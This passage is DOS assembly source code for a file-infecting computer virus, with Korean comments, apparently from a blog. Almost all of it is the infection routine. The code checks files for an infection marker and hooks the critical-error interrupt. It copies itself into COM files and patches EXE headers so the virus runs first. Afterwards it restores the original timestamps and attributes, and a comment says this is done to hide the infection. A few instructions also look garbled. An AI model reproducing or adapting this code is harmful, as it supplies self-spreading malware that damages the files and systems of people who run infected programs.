jnz no_command
jmp exit_2
no_command:
mov ax, 4300h ;화일 속성 알아내기
int 21h
jb l_4c4
mov cs:[0072h], cs ;화일 속성 저장
l_4c4: jb l_4eb
xor al, al
mov cs:[004eh], al ;file flag clear
push ds ;화일 이름 끝으로 pointer 이동
pop es
mov di, dx
mov cx, 0041h
repnz scasb
cmp byte ptr [di-02], 4dh ;COM 형 화일
jz no_com
cmp byte ptr [di-02], 6dh
jz no_com
inc byte ptr cs:[0004eh] ;file flag set
no_com:
mov ax, 3d00h ;file open(read only)
int 21h
l_4eb: jb l_547
mov cs:[0070h], ax ;pointer를 화일 끝 5byte로 옮긴다.
mov bx, ax
mov cx, 0ffffh
mov dx, 0fffbh
int 21h
jb l_4eb
add ax, 0005h ;file size 저장
mov cs:[0011h], ax
mov cx, 0005h ;화일에서 5byte 읽기
mov dx, 006bh
mov ax, cs
mov ds, ax
mov es, ax
mov ah, 3fh
int 21h
mov di, dx ;바이러스 감염 여부 검사
mov si, 0005h
repz cmpsb
jnz no_infect
mov ah, 3eh ;file close, end
int 21h
jmp exit_2
no_infect:
mov ax, 3524h ;int 24h 주소 알아내기
int 21h
mov int24_ofs, bx
mov int24_seg, es
mov dx, 021bh ;int 24h 주소 바꾸기
mov ax, 2524h
int 21h
lds dx, dword ptr file_name ;화일 속성 바꾸기
xor cx, cx
mov ax, 4301h
int 21h
l_547: jb l_584
mov bx, cs:[0070h] ;file close
mov ah, 3eh
int 21h
mov word ptr cs:[0070h], 0ffffh ;file handle clear
mov ax, 3d02h ;file open(read/write)
int 21h
jb l_584
mov cs:[0070h], ax ;segment register set
mov ax, cs
mov ds, ax
mov es, ax
mov bx, [0070h] ;화일 날짜/시간 알아내기
mov ax, 5700h
int 21h
mov file_date, dx ;날짜/시간 저장
mov file_time, cx
mov ax, 4200h ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
int 21h
l_584: jb l_5e3
cmp file_id, 00 ;EXE or COM ?
jz com_proc
jmp exe_proc
;----------------------------------------------------------------
; COM 형 File 처리 Routine
;----------------------------------------------------------------
com_proc:
mov bx, 1000h ;메모리 할당(64k)
mov ah, 48h
int 21h
jnb memory_ok
mov ah, 3eh ;메모리 부족이면 끝냄
mov bx, [0070h] ;file close
int 21h
jmp exit_2
memory_ok:
inc counter ;counter 증가
mov es,ax ;할당된 메모리로 바이러스 프로그램 복사
xor si, si
mov di, di
mov cx, 0710h
rep movsb
mov dx, di ;file load
mov cx, [0011h]
mov bx, [0070h]
push es
pop ds
mov ah, 3fh
int 21h
l_5e3: jb l_5e1
add di, cx ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
mov ax, 4200h
int 21h
mov si, 0005h ;바이러스 식별자 넣기
mov cx, 0005h
db 0f3h, 2eh, 0a4h ;repz movsb(cs:)
mov cx, di ;화일 쓰기
xor dx, dx
mov ah, 40h
int 21h
l_5e1: jb l_5f0
jmp exit_1
;----------------------------------------------------------------
; EXE 형 File 처리 Routine
;----------------------------------------------------------------
exe_proc:
mov cx, 001ch ;file header 읽기
mov dx, offset exe_header
mov ah, 3fh
int 21h
l_5f0: jb l_63c
;----------------------------------------------------------------
; File header 조정, 저장
;----------------------------------------------------------------
mov word ptr exe_header[12h], 1984 ;checksum
mov ax, word ptr exe_header[0eh] ;ss저장
mov word ptr exe_ss, ax
mov ax, word ptr exe_header[10h] ;si저장
mov word ptr exe_si, ax
mov ax, word ptr exe_header[14h] ;ip저장
mov word ptr exe_ip, ax
mov ax, word ptr exe_header[16h] ;code module 저장
mov word ptr exe_cm, ax
mov ax, word ptr exe_header[04h] ;file sector 조정
cmp word ptr exe_header[02h], 00
jz no_dec
dec ax
no_dec:
mul word ptr d_78
add ax, word ptr exe_header[02h]
adc dx, 00
adc ax, 000fh
adc dx, 00
and ax, 0fff0h
mov word ptr d_7c, ax
mov word ptr d_7e, dx
add ax, 0710h
adc dx, 00
l_63c: jb l_678
div word ptr d_78
or dx, dx
jz no_inc
inc ax
no_inc:
mov word ptr exe_header[04h], ax
mov word ptr exe_header[02h], dx
mov ax, d_7c
mov dx, d_7e
div word ptr d_7a
sub ax, word ptr exe_header[08h]
mov word ptr exe_header[16h], ax
mov word ptr exe_header[14h], 00c5h
mov word ptr exe_header[0eh], ax
mov word ptr exe_header[10h], 0710h
xor cx, cx ;화일 처음으로 pointer 이동
mov dx, cx
mov ax, 4200h
int 21h
l_678: jb l_684
mov cx, 001ch ;변경된 화일 header 쓰기
mov dx, 004fh
mov ah, 40h
int 21h
l_684: jb l_697
cmp ax, cx ;if error then goto exit
jnz exit_1
mov dx, d_7c ;화일의 코드 끝으로 pointer 이동
mov cx, d_7e
mov ax, 4200h
int 21h
l_697: jb exit_1
xor dx, dx ;바이러스 프로그램 쓰기
;----------------------------------------------------------------
; 마무리 처리 Routine
;----------------------------------------------------------------
exit_1:
cmp counter, 00 ;counter check
jz l_6ae
mov ah, 49h ;할당 메모리 회수
int 21h
l_6ae:
cmp word ptr cs:file_handle, -01h ;file error 이면 끝
jz exit_2 ;(handle = ffff)
mov bx, cs:file_handle ;원래 화일의 시간과 날짜로 변경
mov dx, cs:[0074h] ;바이러스 감염을 숨기기위한 작업
mov cx, cs:[0076h]
mov ax, 5701h
int 21h
mov ah, 3eh ;file close
int 21h
lds dx, cs:[0080h] ;원래 화일 속성으로 복구
mov cx, cs:[0072h]
mov ax, 4301h
int 21h
lds dx, cs:[001bh] ;int 24h 복구
mov ax, 2524h
int 21h
;----------------------------------------------------------------
exit_2:
pop es ;Register 복구
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행
virus ends
피드 구독하기:
글 (Atom)
